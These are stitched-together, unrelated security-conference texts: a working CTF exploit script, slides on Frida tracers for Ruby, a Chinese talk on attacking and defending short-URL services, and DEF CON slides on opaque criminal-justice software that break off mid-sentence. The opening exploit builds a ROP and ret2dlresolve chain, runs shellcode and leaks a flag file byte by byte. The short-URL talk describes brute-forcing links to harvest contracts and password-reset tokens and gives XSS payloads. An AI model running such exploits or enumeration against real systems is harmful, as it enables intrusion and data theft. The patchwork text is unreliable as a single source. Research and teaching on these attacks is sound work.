payload1.ljust(0x100, 'A') # io.send(payload1) link_map_addr = bss + 0x100 + 8 r_info = 0x0000000b00000007 offset = (libc.symbols['mprotect'] - libc.symbols['__libc_start_main']) % 2**64 got_offset = (link_map_addr - 0x10 - offset) % 2**64 start_main_index = 7 link_map = '' link_map += p64(offset) # 0x00, l_addr link_map = link_map.ljust(0x28, '\x00') link_map += p64(elf.got['read'] - 0x108) # symtab, 0x108 is offset link_map = link_map.ljust(0x68, '\x00') link_map += p64(link_map_addr + 0x28 - 8) # 0x68, strtab_ptr - 8, any readable memory? link_map += p64(link_map_addr + 0x20) # 0x70, symtab_ptr - 8 link_map = link_map.ljust(0xf8, '\x00') payload2 = p64(0x4009C7) + link_map # io.send(payload2) payload3 = 'A' * 0x28 payload3 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(read_plt) payload3 += p64(pop_csu_gadget) + p64(0) + p64(1) + p64(bss+0x100) + p64(7) + p64(0x1000) + p64(bss) payload3 += p64(mov_csu_gadget) + p64(0) * 7 payload3 += p64(0x00000000004006C0 + 6) # plt[0].inst[1] payload3 += p64(link_map_addr) payload3 += p64(start_main_index) payload3 += p64(bss+0x200+0x20) payload3 = payload3.ljust(0x100, 'A') # io.send(payload3) link_map = p64(link_map_addr + 0xf8) # 0xf8, jmprel_ptr - 8 link_map += p64(link_map_addr + 0x108 - start_main_index * 3 * 8) # jmp_rel, +(index * 3 * 8) reloc_ptr link_map += p64(got_offset) # reloc, 0x00, r_offset_base_address link_map += p64(r_info) # reloc, 0x08, r_info payload4 = link_map shellcode = 'push 0x0; push 0x67616c66; mov rdi, rsp; mov rsi, 0; mov rax, 2; syscall; mov rdi, rax; mov rsi, 0x601300; mov rdx, 0x100; mov rax, 0; syscall;' 0CTF is very nice.Thks 0ops:) shellcode += 'mov rsi, 0x601300; mov rcx, %d; mov al, [rsi+rcx]; cmp al, %d;' % (idx, num) shellcode2 = 'mov rbx, 0; div rbx;' shellcode_final = asm(shellcode) + '\x0f\x85\x02\x00\x00\x00\xeb\xfe' + asm(shellcode2) payload4 += shellcode_final payload4 = payload4.ljust(0x100, '\x90') # io.send(payload4) payload = payload1 + payload2 + payload3 + payload4 payload = payload.ljust(0x800, '\x90') io.send(payload) try: cotent = io.recv(timeout=1) io.close() return True except EOFError: io.close() return False if __name__ == '__main__': flag = '' for i in range(len(flag), 0x100): print '----------------', i for j in range(127, 32, -1): if exploit(i, j): flag += chr(j) print 'flag: ', flag file = open('remote_flag', 'w') file.write(flag) file.close() break
pdf
© NCC Group 2021. All rights reserved Instrument and Find Out Writing Parasitic Tracers for High(-Level) Languages Jeff Dileo @chaosdatumz DEF CON 29 call_usermodehelper("/bin/sh",(char*[]){"/bin/sh","-c","whoami",NULL},NULL,5) © NCC Group 2021. All rights reserved • @chaosdatumz • Agent of chaos • Unix aficionado • Technical Director / Research Director @ NCC Group • I like to do terrible things to/with/in: • programs • languages • runtimes • memory • kernels • packets • bytes • ... NOTICE By viewing this presentation you agree to indemnify and hold harmless the presenter in the event that you decide to take any of his advice and find yourself unable to sleep at 4am in the morning due to “language demons.” Outline © NCC Group 2021. All rights reserved • Background • Parasitic Tracers • Designing Parasitic Tracers (for high-level languages) • Case Study: Ruby • Conclusion Background — Tracing and Me © NCC Group 2021. All rights reserved • I’ve done a lot of work with dynamic instrumentation and tracing • Java Bytecode • Android (Frida, Xposed) • Linux (eBPF, Frida) • Generally, to aid in reversing (e.g. dump process state) or to util-ize existing things Background — Tracing and Me © NCC Group 2021. All rights reserved • I’ve done a lot of work with dynamic instrumentation and tracing • Java Bytecode • Android (Frida, Xposed) • Linux (eBPF, Frida) • Generally, to aid in reversing (e.g. dump process state) or to util-ize existing things • ”Dynamic Instrumentation” • Function hooking • Instruction instrumentation (assembly, bytecode, etc.) • ”Dynamic Tracing” • Dynamically enabling/disabling existing logging functionality • Dynamically adding enhanced logging functionality that wasn’t there before Background — Tracing and Me © NCC Group 2021. All rights reserved • I’ve done a lot of work with dynamic instrumentation and tracing • Java Bytecode • Android (Frida, Xposed) • Linux (eBPF, Frida) • Ruby (Frida) • Generally, to aid in reversing (e.g. dump process state) or to util-ize existing things • ”Dynamic Instrumentation” • Function hooking • Instruction instrumentation (assembly, bytecode, etc.) • ”Dynamic Tracing” • Dynamically enabling/disabling existing logging functionality • Dynamically adding enhanced logging functionality that wasn’t there before Background — Ruby and Me © NCC Group 2021. All rights reserved 1 https://research.nccgroup.com/2020/12/15/an-adventure -in-contingency-debugging-ruby-ioread-iowrite-considered-harmful/ • Ruby bytecode transformation • I was doing blackbox testing of a Rails web app • That loaded from pre-compiled Ruby bytecode, which I was able to extract • Unfortunately, it used a current-ish Ruby and the bytecode format was incompatible with exiting Ruby bytecode decompilers. • So I diff’d the instruction listings between versions and de-optimized the new opcodes into equivalent versions supported by the decompiler Background — Ruby and Me © NCC Group 2021. All rights reserved 1 https://research.nccgroup.com/2020/12/15/an-adventure -in-contingency-debugging-ruby-ioread-iowrite-considered-harmful/ • Ruby bytecode transformation • I was doing blackbox testing of a Rails web app • That loaded from pre-compiled Ruby bytecode, which I was able to extract • Unfortunately, it used a current-ish Ruby and the bytecode format was incompatible with exiting Ruby bytecode decompilers. • So I diff’d the instruction listings between versions and de-optimized the new opcodes into equivalent versions supported by the decompiler • Socket Adventure 2 Battle1 • A colleague and I were looking into Ruby’s dRuby protocol • We were writing a scanner for it in Ruby • ”when I run it in a Docker container it hangs on read ...in a VM it works” • I then spent an obscene amount of time delving into Ruby’s internals to ultimately discover that you should never use IO#read on a Socket object Background — Ruby and Me © NCC Group 2021. All rights reserved 1 https://research.nccgroup.com/2020/12/15/an-adventure -in-contingency-debugging-ruby-ioread-iowrite-considered-harmful/ • Ruby bytecode transformation • I was doing blackbox testing of a Rails web app • That loaded from pre-compiled Ruby bytecode, which I was able to extract • Unfortunately, it used a current-ish Ruby and the bytecode format was incompatible with exiting Ruby bytecode decompilers. • So I diff’d the instruction listings between versions and de-optimized the new opcodes into equivalent versions supported by the decompiler • Socket Adventure 2 Battle1 • A colleague and I were looking into Ruby’s dRuby protocol • We were writing a scanner for it in Ruby • ”when I run it in a Docker container it hangs on read ...in a VM it works” • I then spent an obscene amount of time delving into Ruby’s internals to ultimately discover that you should never use IO#read on a Socket object • This led me to start writing a (parasitic) low-level tracer for Ruby Parasitic Tracers — What? © NCC Group 2021. All rights reserved • A ”tracer” is basically an enhanced logger that dumps everything you might want about program state Parasitic Tracers — What? © NCC Group 2021. All rights reserved • A ”tracer” is basically an enhanced logger that dumps everything you might want about program state • A ”parasite” is a highly-specialized (unwanted) organism that symbiotically lives on or inside another organism that it is completely adapted to Parasitic Tracers — What? © NCC Group 2021. All rights reserved • A ”tracer” is basically an enhanced logger that dumps everything you might want about program state • A ”parasite” is a highly-specialized (unwanted) organism that symbiotically lives on or inside another organism that it is completely adapted to • So a ”parasitic tracer” is tracer specially adapted to a target process that it attaches to and injects itself into and makes use of internal functionality that is not intended to be exposed Parasitic Tracers — What? © NCC Group 2021. All rights reserved • A ”tracer” is basically an enhanced logger that dumps everything you might want about program state • A ”parasite” is a highly-specialized (unwanted) organism that symbiotically lives on or inside another organism that it is completely adapted to • So a ”parasitic tracer” is tracer specially adapted to a target process that it attaches to and injects itself into and makes use of internal functionality that is not intended to be exposed • The tracing is the ”goal” (one of many); the parasitism is an implementation detail • Have you ever injected code via LD_PRELOAD Parasitic Tracers — Why? © NCC Group 2021. All rights reserved • Bridging the gap between high-level abstractions and low-level implementations aids: • Reversing • Performance analysis • Debugging • To prototype tracing infrastructure that could be implemented within the target itself Parasitic Tracers — Examples © NCC Group 2021. All rights reserved • Frida’s Java bridge is arguably two parasitic tracers • One for Android • One for the JVM (HotSpot/JVMTI) • Both provide anchor points for tapping functionality with hooks targeting higher-level Java operations in ways that are not intended by either platform • However, a vanilla Java agent (java.lang.instrument/JVMTI) would not qualify as those are public instrumentation APIs • If you’re just crawling around the memory of a process or intercepting its syscalls, you may have a tracer • But if you’re hooking functions inside the process, or, more importantly, calling functions from inside the process, then you probably are doing some parasitic tracing Designing Parasitic Tracers (for high-level languages) Designing Parasitic Tracers — Prerequisites © NCC Group 2021. All rights reserved • Some means to hook code or instrument it • Ideally, one that supports dynamically adding/removing such hooks/instrumentation at runtime • E.g. with a debugger or an instrumentation toolkit like Frida • A way to invoke existing functionality • Ideally with ”stable” native APIs 1. Public APIs (preferred) 2. Internal APIs with symbols 3. Internal APIs without symbols for which handles can be reliably obtained 4. Reimplementation 5. ... ∞. Gadgets (last resort) Designing Parasitic Tracers — Concepts — Reconnaissance © NCC Group 2021. All rights reserved • Reverse engineering • To understand the internals • You may even have source, but you need to understand what happens at the native level (or the level your modifications run at/apply to) • Optimizations can elide out functions or even result uncleared registers being passed to calls since they are never (normally) used • Often, programming language runtimes will be written in very implementation-defined C or C++ • Identifying relevant target functionality • To extract information from • To wrap with hooks • To get whatever you might need by snatching it out of function calls • Sometimes it makes sense to hook lower-level/smaller operations to spy on or mess with higher-level ones that they form or themselves invoke Designing Parasitic Tracers — Concepts — Instrumentation © NCC Group 2021. All rights reserved • Hook the relevant functionality • Extract program state at runtime • Invoke internal operations as needed to obtain more information or configure program state Designing Parasitic Tracers — Concepts — Puppeteering © NCC Group 2021. All rights reserved • Take control from your hooks or injected threads/tasks/etc. • Build interfaces to invoke functionality and translate inputs and outputs between the target and the instrumentation • Enhance those interfaces to enable first-class interop Designing Parasitic Tracers — Concepts — Composition © NCC Group 2021. All rights reserved • Start small, build big • You’re essentially starting with a fully functioning program • So focus on making your footholds strong to build a foundation for deeper hooking/instrumentation/analysis/etc. • This is more or less how Frida itself is designed • The Java instrumentation APIs are implemented using lower-level hooks into the inner machinery of the target • Layer abstractions such that lower-level version-specific logic can be swapped in or out as needed to support multiple versions of the target • Two primary methods, per-version implementations and version-based switches/ifdefs Let’s talk about Ruby Ruby — A high-level language for the high-minded • Ruby is an ”interpreted, high-level, general-purpose,” dynamically typed programming language that ”supports multiple programming paradigms, including procedural, object-oriented, and functional programming” Ruby — A high-level language for the high-minded • Ruby is an ”interpreted, high-level, general-purpose,” dynamically typed programming language that ”supports multiple programming paradigms, including procedural, object-oriented, and functional programming” • tl;dr Ruby is a scripting language • It’s notable features are: • Everything is an object • Everything else is a method, which are also objects • Optional parentheses, so every ”field access” is a method call • Internally, methods get called by sending messages, but you can __send__ messages too • Method swizzling • Object-centric programming • Duck hunt typing • Perl-inspired super globals • Having at least 3 ways to do everything Ruby — For want of a tracer © NCC Group 2021. All rights reserved • Ruby has 3 kitchen sinks • But it doesn’t have good low-level introspection/tracing capabilities • Its TracePoint API leaves much to be desired • It can’t intercept Ruby method arguments or native function parameters • It can’t provide information on bytecode execution • It provides limited information on Ruby-to-native transitions • This potentially stems from Ruby’s nature as a multi-implementation language. • The reference implementation is ”CRuby” (AKA YARV, formerly MRI) • The current CRuby implements a custom bytecode virtual machine, but this is an implementation detail • In essence, Ruby (language) on CRuby (interpreter) is similar to Java on the JVM, except that it has none of the analysis and tooling support around its bytecode ISA, which changes slightly from version to version ruby-trace — A tracer, for Ruby © NCC Group 2021. All rights reserved • A Frida-based CLI tool for instrumenting and dumping execution information from Ruby programs running on Linux • Node.js CLI interface • frida-compile (webpack for Frida) used to support modular design of injected agent JS payload ruby-trace — Features © NCC Group 2021. All rights reserved • Hooks the following (among other things): • All Ruby VM opcode implementations through the opcode instruction table • The common build pattern on Linux is a goto-based state machine, where each label is stored in an array (insns_address_table) • Ruby method call and Ruby’s dynamic C function execution mechanisms • send, opt_send_without_block, invokesuper opcodes • rb_vm_call_cfunc • vm_call_cfunc(_with_frame) • rb_vm_call0 • vm_search_method_fastpath • vm_sendish • rb_iterate0 • rb_define_method • rb_define_module_function • Ruby exception handling mechanisms • throw opcode • rb_throw_obj • related methods and native implementations ruby-trace — Features © NCC Group 2021. All rights reserved • Extracts (among other things): • Opcode arguments, both ”register”-based and ”stack”-based • Will also inspect most values, falling back to several alternate stringification mechanisms when it is unsafe to invoke method sending or even directly inspect an object • Will disassemble bytecode (”ISEQ”/instruction sequence) objects, like methods and blocks • Opcode and native function return values • Relevant arguments • Method call metadata • e.g. branches, other control flow changes • Bytecode metadata • To make certain runtime values human-readable ruby-trace — Features © NCC Group 2021. All rights reserved • Ruby 2.6-3.0+ support • Uses generic shared implementations of hooks with version-specific overrides • Reuses C structs from each supported version of Ruby to generically extract struct fields from the correct offsets ruby-trace — Other coolTM things © NCC Group 2021. All rights reserved • Supports using the TracePoint API as an execution context to enable tracing. This enables fine-grained tracing of Ruby execution. • Extensive series of test cases mapping to bytecode sequences • Arguably covers more than Ruby’s own internal VM opcode test suite • Implements support for dead Ruby opcodes that can’t even be compiled • i.e. reput, a cursed instruction dating back to a 1995 paper on ”Prolog, Forth and APL” • ruby-trace is essentially a CRuby bytecode interpreter as it re-implements a large portion of the bytecode handler logic itself to determine how a given opcode will execute © NCC Group 2021. All rights reserved DEMOs ruby-trace — Future Work © NCC Group 2021. All rights reserved • Support for Ractors (Ruby’s new actor model concurrency feature) is upcoming • Keeping ruby-trace up-to-date with new Ruby versions as they come out (or as I need to support them) ruby-trace — Where? © NCC Group 2021. All rights reserved https://github.com/nccgroup/ruby-trace (shortly after this presentation airs) Conclusion © NCC Group 2021. All rights reserved • This has been a pretty fun exercise in reversing • It was also maddening between Ruby’s more ”magical” opcodes and darker facets • I think it’s pretty reasonable to apply these techniques to getting deeper insights into code running on higher level language interpreters/runtimes • There are a lot of applicable languages lacking good tooling (other than Ruby): • Python • Node/V8 • Golang • Haskell • More people should try building these things Conclusion — Go Forth and Write Parasitic Tracers © NCC Group 2021. All rights reserved You know, if one person, just one person does it, they may think he’s really sick. And three people do it, three, can you imagine three people writing parasitic tracers? They may think it’s an organization. And can you, can you imagine fifty people, I said fifty people, writing these tracers? Friends, they may think it’s a movement. ~Arlo Guthrie Greetz © NCC Group 2021. All rights reserved • Addison Amiri © NCC Group 2021. All rights reserved You can’t hide secrets from the future using math © NCC Group 2021. All rights reserved Questions? [email protected] @ChaosDatumz © NCC Group 2021. All rights reserved Instrument and Find Out Writing Parasitic Tracers for High(-Level) Languages Jeff Dileo @chaosdatumz DEF CON 29
pdf
短网址攻击与防御 演讲人:彦修 2 0 1 8 About Me • 腾讯安全工程师 • 微博:@彦修_ • 喜美食、好读书,不求甚解 • Tencent Blade Team • 由腾讯安全平台部创立。 • 专注于AI、移动互联网、IoT、无线电等前沿技术领域安全研究。 • 报告了谷歌、苹果、亚马逊等多个国际知名厂商70+安全漏洞。 PART 01 短网址猜想 目录 CONTENTS PART 02 何谓短网址 PART 03 短网址攻击实战 PART 04 扩展短网址攻击面 01 02 03 04 PART 05 短网址防御实践 05 PART 01 短网址猜想 某个惠风和畅的下午收到这么一封邮件…… 改变短网址后缀,是否可以获取他人的发票链接: 由短网址:http://xx.com/t/vWiN39 ——> http://xx.com/t/vWiN40 进而: http://xx.cn/t/vWiN39 http://xx.to/t/vWiN39 …… 我们随后进行了大批量随机爆破测试,部分结果如下: 短网址第一猜想: 当你发现某处出现了问题,那么出现问题的一般不止这一处! 短网址第二猜想: 如果你要解决一个问题,你需要知道这个问题是什么! 短网址第三猜想: PART 02 何谓短网址 短网址:此服务可以提供一个非常短小的URL以代替原来的可能较长的URL,将长的 URL地址缩短。用户访问缩短后的URL时,通常将会重定向到原来的URL。(摘自维基 百科) 比如微博中常见的:http://t.cn/h5BBi 短网址服务主要起源于一些具有字数限制的微博客服务,现在广泛用于短信、邮件 等。 自用短网址服务产品(部分): 第三方短网址服务产品(部分): 长网址转换短网址 短网址转换长网址 用户 转换算法 数据库 URL处理 远程访问 URL 资 源 长URL 短URL 用户 数据库 URL 资 源 短URL 302(1)请求 重定向 request response request response 短网址服务 短网址服务 我们分析了GITHUB上star数最多的10个短网址开源项目,其转换算法大致分为三类,即进制算法、 HASH算法和随机数算法 进制算法:结果连续。 随机数算法:结果不连续。 HASH算法:结果不连续。 进制算法: 算法简述:一个以数字、大小写字母共62个字符的任意进制的算法。 数据库中ID递增,当ID为233,则对应短网址计算过程如下: ① 设置序列为“0123456789abcdefghijklmnopqrstuvwxyz” ② 233/36=6 ③ 233%36= 17 ④ 依次取上述字符的6位,17位,则为6h 其生成之后的短网址为xx.xx/6h 随机数算法: 算法简述:每次对候选字符进行任意次随机位数选择,拼接之后检查是否重复 若要求位数为2,则其对应短地址为计算过程如下: ① 设置字符序列“0123456789abcdefghijklmnopqrstuvwxyz” ② 根据字符个数设置最大值为35,最小值为0,取2次随机数假设为:6,17 ③ 依次取上述字符的6位和17位,则为6h 其生成之后的短网址为xx.xx/6h HASH算法: 算法简述:对id进行hash操作( 可选:利用随机数进行加盐),并检查是否重复 设置ID自增,若ID=233,则其对应短地址为计算过程如下: ① 取随机数为盐 ② 对233进行sha1加密为: aaccb8bb2b4c442a7c16a9b209c9ff448c6c5f35:2 ③ 要求位数为7,直接取上述加密结果的前7位为:aaccb8 其生成之后的短网址为xx.xx/2e8c027 PART 03 短网址攻击实战 根据短网址第一猜想: 当你发现某处出现了问题,那么出现问题的一般不止这一处! 存在短网址问题并非上述一家例子中的厂商?! 所以如何高效、有效爆破? 短网址爆破最佳实践 字典生成模块 请求模块 算法识别模块 request response 代 理 IP 池 模 块 响应解析模块 配置、检测模块 远程服务器 数 据 库 存 储 模 块 算法识别:第三方进制算法 可以多次输入网址,查看返回短网址是否连续,连续则为进制算法,如下: Tips:个别为分布式短链接,id非单一递增,会出现多个字符规律变化,如:87BNwj、 87BO82、87BOqw、87BOGz、87BPpD ① 直接测试xx.xx/1及xx.xx/2 等低位后缀。 ② 对存在记录的后缀单字母进行增加或减少测试,若均存在记录或者有规律存在记录。 若某短网址存在http://xx.xx/Abzc4 ,对Abzc4中最后一个单字符{0-Z}共62次变化。若均 存在记录或存在a,c,e等有规律间隔情况,则基本可以认为使用了进制算法。 算法识别:自营进制算法 可以多次输入网址,查看返回短网址是否连续,不连续无规律则为HASH算法&随机数算法。 算法识别:第三方HASH&随机数算法 ① 直接访问xx.xxx/1及xx.xxx/2低位等后缀,若均不存在则进行步骤2。 ② 对存在记录的后缀进行增加或减少尝试,若非均匀间隔存在记录。 即:若某短网址存在http://xxx.xx/Abzc4 ,对Abzc4中最后一个单字符{0-Z}共62次变化。 若无明显规律则基本认为为HASH&随机数算法 算法识别:自营HASH&随机数算法 TIPS: 部分短网址服务对于不存在的记录会返回不同的处理结果,常见如下: ① 返回固定URL,如 http://xxx.xx/sorry ② 返回非固定URL,如 http://xxx.xx/{随机值} 爆破需检测返回值。将非长网址URL加入黑名单之中! 攻击案例一: 爆破短网址服务获取大量服务、系统敏感信息: 1、获取个人信息 http://xx.xx/auth?contractId=d57f17139247036b72******b5554a830305ec139d 2、获取合同 https://xx.xx/get.action?transaction_id=290414****03784&msg_digest=RUQ2MUQ5NjcxQzc5MjcxQ*******4QTExNTZFNjgzQTJENEExQjc5Nw== 3、重置密码 https://xx.xx/resetPassword?emailType=RESET_PASSWORD&encryptionEmail=***GHOsR%2FMfiNEv8xOC29.&countersign=eyJhbGciOiJIUzUxMiJ9.eyJBQ lNPTFVURV9FWFBJUkVfVElNRV9NSUxMUyI6IjE1M******zA1OTMxNjU4OTQiLCJORVdfRU1BSUwiOiJ5YW54aXUwNjE0QGdtYWlsLmNvbSIsIlRPS0VOX1RZUEUiOiJSRVN FVF9QQVNTV09SRCIsIkVNQUlMIjoieWFueGl1MDYxNEBnbWFpbC5jb20ifQ 攻击案例二: 业务安全攻击链:某应用邀请新人注册送红包活动 1、邀请链接直接发送给邀请人,邀请人点击即可完成注册; 2、邀请链接以短网址发送; 3、批量邀请,爆破短网址,批量点击注册,即可完成薅羊毛; PART 04 扩展短网址攻击面 根据短网址第一猜想: 当你发现某处出现了问题,那么出现问题的一般不止这一处! 短网址存在算法可以被识别,从而被遍历的问题?是不是还存在其他的问题?! 以下均为猜想,如有雷同,概不负责 长网址转换短网址 用户 转换算法 数据库 URL处理 远程访问 URL 资 源 长URL 短URL request response 短网址服务 1、远程访问功能在过滤不严谨的情况下会造成SSRF! 长网址转换短网址 用户 转换算法 数据库 URL处理 远程访问 URL 资 源 长URL 短URL request response 短网址服务 获取TITLE 2、获取TITLE功能和展示长网址页面,在过滤不严谨的情况下, 造成XSS。 <img src=x onerror=prompt(1)>* <title><script>alert(1)</script> </title> 短网址转换长网址 用户 数据库 URL 资 源 短URL 302(1)请求 Rewrite request response 短网址服务 1、进行拼接查询时会造成SQL注入。 查询获取长网址 PART 05 短网址防御实践 补救措施(存量) 1、增加单IP访问频率和单IP访问总量的限制,超过阈值进行封禁。 2、对包含权限、敏感信息的短网址进行过期处理。 3、对包含权限、敏感信息的长网址增加二次鉴权。 改造措施(增量) 1、不利用短网址服务转化任何包含敏感信息、权限的长网址。 2、尽量避免使用明文token等认证方式。 @Wester的小号 致谢 @Mart1n_ZHOU 谢谢观看 演讲人:彦修
pdf
You’re Just Complaining Because You’re Guilty: A DEF CON Guide to Adversarial Testing of Software Used in the Criminal Justice System August 11, 2018 - DEF CON 26 Jeanna Matthews, PhD - Clarkson University/Data and Society Nathan Adams - Forensic Bioinformatic Services Jerome D. Greco, Esq. - Legal Aid Society of NYC Motivation/overview of the problem Black box decision making ● Software is increasingly used to make important decisions about people’s lives ○ Hiring, housing, how we make friends, find partners, navigate city streets, get our news, … ○ The weightier the decision the more crucial it is that we understand and can question it ○ What input is used to make the decision? Is it correct? Do we have other information that should be considered? ○ Are protected attributes like race and gender used? What about proxies for those characteristics? ● Criminal justice system ○ Software/algorithmic decision making used increasingly throughout the criminal justice system ○ Often black boxes for which trade secret protection is claimed to be more important than rights of individual defendants or citizens to understand the decisions ○ Evidence of problems ○ How can we find bugs and fix problems if the answer is always “you can’t question” and “you are just complaining because you are guilty”? Can you imagine... ● Being sent to prison rather than given probation because proprietary software says you are likely to commit another crime? ○ But you can’t ask how the software makes its decisions. (Eric Loomis) ● Having the primary evidence against you being the results of DNA software? ○ But one program says you did it and another says you didn’t. (Nick Hillary) ● Being accused of murder solely because of DNA transferred by paramedics? ○ But they don’t figure that out for months. (Lukis Anderson) ● Software and complex systems need an iterative process of debugging and improvement! ● Anyone who has used technology knows that there are glitches and bugs and unintended consequences! ● Anyone who builds technology knows how easy it is for there to be substantial bugs you did not find! ● Huge advantages to independent, third- party testing aimed at finding bugs! ● If only those with interests in the success of software see the details, we have a huge problem and a recipe for injustice! An Overview of Problematic Technology Used in the Criminal Justice System Credit: National Institute of Standards and Technology (NIST) - The Organization of Scientific Area Committees (OSAC) Law Enforcement Tech by Secrecy Level* Secret • Cell-Site Simulators • Hemisphere Project • PRISM • Backscatter X-Ray Vans • Drone Surveillance Secret as Applied • Automated License Plate Readers • Facial Recognition/Capture • Domain Awareness System • Police Internal Databases • Real Time Crime Center • Gang databases • Social media analytics • Etc. • Predictive Policing Trust Us • DNA Probabilistic Genotyping Software • Bail/Parole/Sentencing Determination Algorithms • ShotSpotter • Cellebrite Advanced Services and Graykey • P2P/Child Pornography Investigative Software • Network Investigative Techniques (NITs) • Alcohol breath testing *Not comprehensive of all available technology. Some technologies fit under different levels based on the jurisdiction and agency. We don’t want you to know it exists and/or that we have it. We have it but we won’t tell you when and/or how we used it. We have it. We used it here. Stop asking questions. Predictive Policing, Flawed Data, and Flawed Results ● Bad data in = bad data out ● Racial disparities ● Sources of data ● Presumption of guilt by association ● Constitutional rights of individuals ● Lack of Transparency and Public Debate ○ Non-Disclosure Agreements (NDAs) ○ Proprietary trade secrets ○ Sensitive data Cell-Site Simulators (aka Stingray Devices) ● Mimics a cell phone tower and emits a signal that compels cell phones in the area to connect to it rather than a legitimate tower ● Not all cell-site simulators are “Stingrays” ● Non-Disclosure Agreements (NDAs) ● NYPD used 1,000+ times from 2008 to 2015 without once getting a warrant ● U.S. v. Lambis, 197 F. Supp. 3d 606 (S.D.N.Y. 2016) ● People v. Gordon, 58 Misc. 3d 544 (N.Y. Sup. Ct. 2017) ● Carpenter v. United States, 16-402, 2018 WL 3073916 (2018) People v. Gordon and the Use of Cell-Site Simulators The Concession People v. Gordon and the Use of Cell-Site Simulators The Decision The NYPD’s Post-Decision Denial* *Probable-Cause Warrant Needed for Cell-Tracking, Brooklyn Judge Rules by Jason Grant (New York Law Journal) (November 15, 2017) “He thought of the telescreen with its never-sleeping ear. They could spy upon you night and day, but if you kept your head you could still outwit them. With all their cleverness they had never mastered the secret of finding out what another human being was thinking.” Quote from 1984 by George Orwell Mobile Digital Forensics and the Encryption War ● Riley v. California, 134 S. Ct. 2473 (2014) ● Cellebrite UFED Touch2 ○ Cellebrite is a digital forensics company specializing in mobile devices ○ UFED = Universal Forensic Extraction Device ● Magnet Axiom ● Paraben E3 ● Extraction of data (extraction of your life) ● Available Outside of Law Enforcement Cellebrite Advanced Services (CAS) and GrayKey ● 2015 Attack in San Bernardino ● Cellebrite Advanced Services (CAS) ○ Secret process performed by Cellebrite at a Cellebrite lab ○ Reportedly $1,500 per phone or a $250,000 a year subscription ● GrayKey by Grayshift ○ Secret tool only sold to law enforcement ○ Reportedly two models available for $15,000 or $30,000 per GrayKey device ● Defense has no access, can’t verify, can’t test, and is limited in challenging their use Facial Recognition Facial Recognition ● What company? ● What algorithm? ● What qualifies as a match? ● Procedures, rules, guidelines, etc. ● Source of images? ● The Perpetual Line-Up: Unregulated Police Face Recognition in America (2016) by Georgetown Law Center on Privacy & Technology (Clare Garvie, Alvaro Bedoya, & Jonathan Frankle) ○ perpetuallineup.org State v. Loomis and Sentencing Algorithms ● State v. Loomis, 881 N.W.2d 749 (Wis. 2016) ● Correctional Offender Management Profiling for Alternative Sanctions (COMPAS) by Northpointe, Inc. ○ Risk Assessment Tool ● Are gender or race acceptable factors to consider? ● How are the factors weighed? ● How is that weighing determined? ● Proprietary trade secrets Case study: Forensic Statistical Tool (FST) Office of the Chief Medical Examiner (OCME), NYC Forensic Statistical Tool (FST) Probabilistic genotyping software ● Mixtures of DNA from 2-3 people ● Allows for dropout (missing data) and drop-in (artifactual data) ● Reports “likelihood ratio” statistic as a weight of evidence Developed in-house ● C#, MS SQL back-end ● Browser interface for casework Commercial sales to other labs never succeeded FST ● 2010 Dec - Approval NY State Commission on Forensic Science approves FST for use in casework FST is cleared to be used to evaluate 15 genetic locations (sing. locus; pl. loci) for mixtures of up to 3 people. FST ● 2010 Dec - Approval ● 2011 Apr - Online OCME brings FST online for casework FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline “FST went online for casework in April 2011, following its approval for use by the Commission. Shortly thereafter, also in April 2011, some functions were updated by the programmers and a small, unrelated change was inadvertently made, causing OCME to take FST off-line.” -Florence Hutner, OCME General Counsel, October 18, 2017 letter to Brian Gestring, Director, Office of Forensic Services, NYS Division of Criminal Justice Services, “Re: Allegations by Legal Aid Society/Federal Defenders of New York to the Honorable Catherine Leahy-Scott, NYS Inspector General (September 1, 2017)” FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline ● 2011 Apr-Jun - Modifications For some samples reanalyzed post- modification, likelihood ratio “values were slightly modified as expected.” -Quality Control Test of Forensic Statistical Tool (FST) Version 2.0, June 30, 2011 “Because this modification did not affect the methodology of the program, it did not require submission to the Commission on Forensic Science or the DNA Subcommittee.” -Affidavit of Eugene Lien, OCME Assistant Director, July 17, 2017 FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline ● 2011 Apr-Jun - Modifications ● 2011 Jul - Online Following performance checks, FST is reauthorized for casework. FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline ● 2011 Apr-Jun - Modifications ● 2011 Jul - Online ● 2016 Oct - Independent report Source code provided under protective order in United States v. Kevin Johnson Reference Evidence Statistical Weight Genetic locations (loci) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Lowest is reported Weight: The Evidence is approximately 70.6 times more probable Hp: if the sample originated from Reference profile and two unknown, unrelated persons Hd: than if it originated from three unknown, unrelated persons. 2010 Validation (non-contributor) ≠ 2016 Review Same data (15/15 locations) = 2016 Review Same data (12/15 locations) 157 ≠ 70.6 = 70.6 A false positive value became less incriminating? Why we can’t tell if this is a good thing - LR > 1 supports inclusion as a contributor LR < 1 supports exclusion as a contributor 0.53 3.1 1.3 Removing data at 3 loci that is... Exclusionary Inclusionary FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline ● 2011 Apr-Jun - Modifications ● 2011 Jul - Online ● 2016 Oct - Independent report ● 2017 Jan - Acknowledgement “FST disregards the information from any locus in a sample if the alleles present at that locus reflect 97% or more of the alleles in the overall population for that locus.” -Assistant US Attorneys, Jan. 2017 FST ● 2010 Dec - Approval ● 2011 Apr - Online ● 2011 Apr - Offline ● 2011 Apr-Jun - Modifications ● 2011 Jul - Online ● 2016 Oct - Independent report ● 2017 Jan - Acknowledgement ● 2017 Oct - Protective order vacated ProPoublica and Yale Media Freedom and Information Access Clinic request that the protective order be vacated. OCME does not oppose. Order vacated, reports unsealed, and code posted by ProPublica: https://github.com/propublica/nyc-dna-software Quality Control Test of Forensic Statistical Tool (FST) Version 2.0 - June 2011 First made public in October 2017: “Twelve samples that were previously evaluated with FST in August 2010 were re- evaluated…. Two samples had one locus each that displayed such values [i.e. were removed].” Only 12/439 mixtures studied in validation were re-evaluated. Only two of those exhibited data-dropping behavior (at one locus each). In June 2018, records from 16 additional “Quality Control Test” were produced under NY’s Freedom of Information Law (FOIL). checkFrequencyForRemoval() ~70 lines, including comments and whitespace https://github.com/propublica/nyc-dna-software/blob/master/FST.Common/Comparison.cs#L246 Unfortunately, this is not entirely surprising Washington v. Emmanuel Fair In a case involving evidence analyzed by the TrueAllele® system, 